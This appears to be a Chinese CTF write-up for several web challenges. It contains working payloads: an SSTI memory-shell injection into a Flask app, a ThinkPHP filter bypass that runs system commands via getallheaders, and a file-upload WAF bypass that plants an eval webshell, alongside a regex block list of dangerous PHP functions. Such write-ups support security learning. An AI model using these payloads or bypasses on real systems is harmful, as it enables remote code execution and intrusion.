WEB my_site 源码
from flask import Flask, abort, render_template_string, request, render_template, redirect, url_for, session, flash, gfrom utils import rot13, keyimport sqlite3app = Flask(__name__) app.secret_key = 'your_secret_key' app.config['DATABASE' ] = 'database.db' def get_db (): db = getattr (g, '_database' , None ) if db is None : db = g._database = sqlite3.connect(app.config['DATABASE' ]) return db @app.teardown_appcontext def close_connection (exception ): db = getattr (g, '_database' , None ) if db is not None : db.close() @app.route('/' ) def home (): return render_template('home.html' ) @app.route('/rot13' , methods=['GET' , 'POST' ] ) def rot13_route (): if request.method == 'POST' : action = request.form['action' ] text = request.form['text' ] if action == 'encrypt' : encrypted_text = rot13(text) return redirect(url_for('rot13_result' , result=encrypted_text, action='encrypt' )) elif action == 'decrypt' : text = request.form['text' ] decrypted_text = rot13(text) if key(decrypted_text): template = '<h1>Your decrypted text is: {{%s}}</h1>' % decrypted_text try : render_template_string(template) except Exception as e: abort(404 ) return redirect(url_for('rot13_result' , result="既然你是黑阔,那我凭什么给你回显" , action='decrypt' )) else : return redirect(url_for('rot13_result' , result=decrypted_text, action='decrypt' )) template = '<h1>Your decrypted text is: %s</h1>' % decrypted_text return render_template_string(template) return render_template('index.html' ) @app.route('/rot13_result/<action>/<result>' ) def rot13_result (action, result ): return render_template('rot13_result.html' , action=action, result=result) @app.route('/login' , methods=['GET' , 'POST' ] ) def login (): if request.method == 'POST' : username = request.form['username' ] password = request.form['password' ] db = get_db() cursor = db.cursor() cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?" , (username, password)) user = cursor.fetchone() if user: session['username' ] = username return redirect(url_for('message_board' )) else : flash('Invalid username or password' ) return render_template('login.html' ) @app.route('/register' , methods=['GET' , 'POST' ] ) def register (): if request.method == 'POST' : username = request.form['username' ] password = request.form['password' ] db = get_db() cursor = db.cursor() try : cursor.execute("INSERT INTO users (username, password) VALUES (?, ?)" , (username, password)) db.commit() flash('Registration successful! Please log in.' ) return redirect(url_for('login' )) except sqlite3.IntegrityError: flash('Username already exists!' ) return render_template('register.html' ) @app.route('/message_board' , methods=['GET' , 'POST' ] ) def message_board (): if 'username' not in session: return redirect(url_for('login' )) db = get_db() cursor = db.cursor() if request.method == 'POST' : message = request.form['message' ] cursor.execute("INSERT INTO messages (username, message) VALUES (?, ?)" , (session['username' ], message)) db.commit() cursor.execute("SELECT username, message FROM messages" ) messages = cursor.fetchall() return render_template('message_board.html' , messages=messages) @app.route('/logout' ) def logout (): session.pop('username' , None ) return redirect(url_for('home' )) if __name__ == '__main__' : app.run(host='0.0.0.0' , port=5000 , debug=True )
在 /rot13
路由发现存在无回显ssti
经过测试,发现存在 ()
的时候就会走到ssti的if里面,之后就写内存马来回显
def rot13 (text ): result = "" for char in text: if char.isalpha(): ascii_val = ord (char) if char.islower(): rotated_val = ((ascii_val - 97 ) + 13 ) % 26 + 97 else : rotated_val = ((ascii_val - 65 ) + 13 ) % 26 + 65 result += chr (rotated_val) else : result += char return result text = """()}}{{url_for['__glob''als__']['__buil''tins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('cat /flag').read())")""" print (rot13(text))
发送过去即可得到flag
海关警察训练平台 抓包改一下host,然后访问 flag.html
恶意代码检测器 扫目录可以得到 www.zip
代码审计,可以发现是tp框架
这里会将我们写入的内容写进一个文件里,然后又包含了进来,但在safe.log
那里用的是双引号,waf那里用的是单引号
使用 ${}
,可以在里面的大括号执行代码,
发现 usort
函数没有被 ban,可以用usort
来执行命令
根据php的特性,不使用引号的话能自己识别类型,可以用字符串拼接的方式绕过过滤
需要注意的是,因为没有引号,拼接字符的时候会warming,然后tp就报错了,用 @
来忽略掉警告
usort
函数的第一个参数要是数组,第二个参数是函数名
过滤了下划线,不能用GET、POST来传参,可以用 getallheaders
给 system
传参
getallheaders
函数的返回值是数组,这个数组的值会分别送进system
里面执行,只需要在请求头带上要执行的命令即可
发送过去,只需要发送一次,后边执行命令的时候code里面随便放什么都行
${@usort((ge.tallheaders)(),sys.tem)}
奶龙牌WAF 源码:
<?php if ($_SERVER ['REQUEST_METHOD' ] === 'POST' && isset ($_FILES ['upload_file' ])) { $file = $_FILES ['upload_file' ]; if ($file ['error' ] === UPLOAD_ERR_OK) { $name = isset ($_GET ['name' ]) ? $_GET ['name' ] : basename ($file ['name' ]); $fileExtension = strtolower (pathinfo ($name , PATHINFO_EXTENSION)); if (strpos ($fileExtension , 'ph' ) !== false || strpos ($fileExtension , 'hta' ) !== false ) { die ("不允许上传此类文件!" ); } if ($file ['size' ] > 2 * 1024 * 1024 ) { die ("文件大小超过限制!" ); } $file_content = file_get_contents ($file ['tmp_name' ], false , null , 0 , 5000 ); $dangerous_patterns = [ '/<\?php/i' , '/<\?=/' , '/<\?xml/' , '/\b(eval|base64_decode|exec|shell_exec|system|passthru|proc_open|popen|php:\/\/filter|php_value|auto_append_file|auto_prepend_file|include_path|AddType)\b/i' , '/\b(select|insert|update|delete|drop|union|from|where|having|like|into|table|set|values)\b/i' , '/--\s/' , '/\/\*\s.*\*\//' , '/#/' , '/<script\b.*?>.*?<\/script>/is' , '/javascript:/i' , '/on\w+\s*=\s*["\'].*["\']/i' , '/[\<\>\'\"\\\`\;\=]/' , '/%[0-9a-fA-F]{2}/' , '/&#[0-9]{1,5};/' , '/&#x[0-9a-fA-F]+;/' , '/system\(/i' , '/exec\(/i' , '/passthru\(/i' , '/shell_exec\(/i' , '/file_get_contents\(/i' , '/fopen\(/i' , '/file_put_contents\(/i' , '/%u[0-9A-F]{4}/i' , '/[^\x00-\x7F]/' , '/\.\.\//' , ]; foreach ($dangerous_patterns as $pattern ) { if (preg_match ($pattern , $file_content )) { die ("内容包含危险字符,上传被奶龙拦截!" ); } } $upload_dir = 'uploads/' ; if (!file_exists ($upload_dir )) { mkdir ($upload_dir , 0777 , true ); } $new_file_name = $upload_dir . $name ; print ($_FILES ['upload_file' ]); if (move_uploaded_file ($_FILES ['upload_file' ]['tmp_name' ], $new_file_name )) { echo "文件上传成功!" ; } else { echo "文件保存失败!" ; } } else { echo "文件上传失败,错误代码:" . $file ['error' ]; } } else { ?> <!-- 文件上传表单 --> <!DOCTYPE html> <html lang="zh-CN" > <head> <meta charset="UTF-8" > <meta name="viewport" content="width=device-width, initial-scale=1.0" > <title>文件上传</title> <style> body { font-family: Arial, sans-serif; background: url ('background.jpeg' ) no-repeat center center fixed; background-size: cover; display: flex; justify-content: center; align-items: flex-start; height: 100 vh; margin: 0 ; } .upload-container { background-color: rgba (214 , 227 , 49 , 0.22 ); padding: 20 px; border-radius: 10 px; box-shadow: 0 2 px 10 px rgba (0 , 0 , 0 , 0.1 ); text-align: center; position: absolute; top: 10 %; } .upload-container h2 { color: margin-bottom: 20 px; } .file-input { display: none; } .custom-file-upload, .submit-btn { display: inline-block; padding: 10 px 20 px; border-radius: 5 px; cursor: pointer; font-size: 16 px; } .custom-file-upload { background-color: color: white; margin-right: 20 px; } .custom-file-upload:hover { background-color: } .submit-btn { background-color: color: white; border: none; } .submit-btn:hover { background-color: } </style> </head> <body> <div class ="upload -container "> <h2 >你能逃出奶龙的WAF 吗?</h2 > <form action ="" method ="POST " enctype ="multipart /form -data "> <label for ="upload_file " class ="custom -file -upload ">选择文件</label > <input type ="file " name ="upload_file " id ="upload_file " class ="file -input "> <input type ="submit " value ="上传文件" class ="submit -btn "> </form > </div > <script > document .querySelector ('.custom -file -upload ').addEventListener ('click ', function () { document.getElementById ('upload_file' ).click (); }); </script> </body> </html> <?php } ?>
代码审计,发现这里文件名有问题
可以用 a.php/.
来绕过,get传入一个name
后边的正则,使用PCRE回溯次数限制
来绕过
先生成文件
print('a'*2000000+'<?php eval($_POST[1]);?>')
然后上传
最后访问 uploads/a.php
即可RCE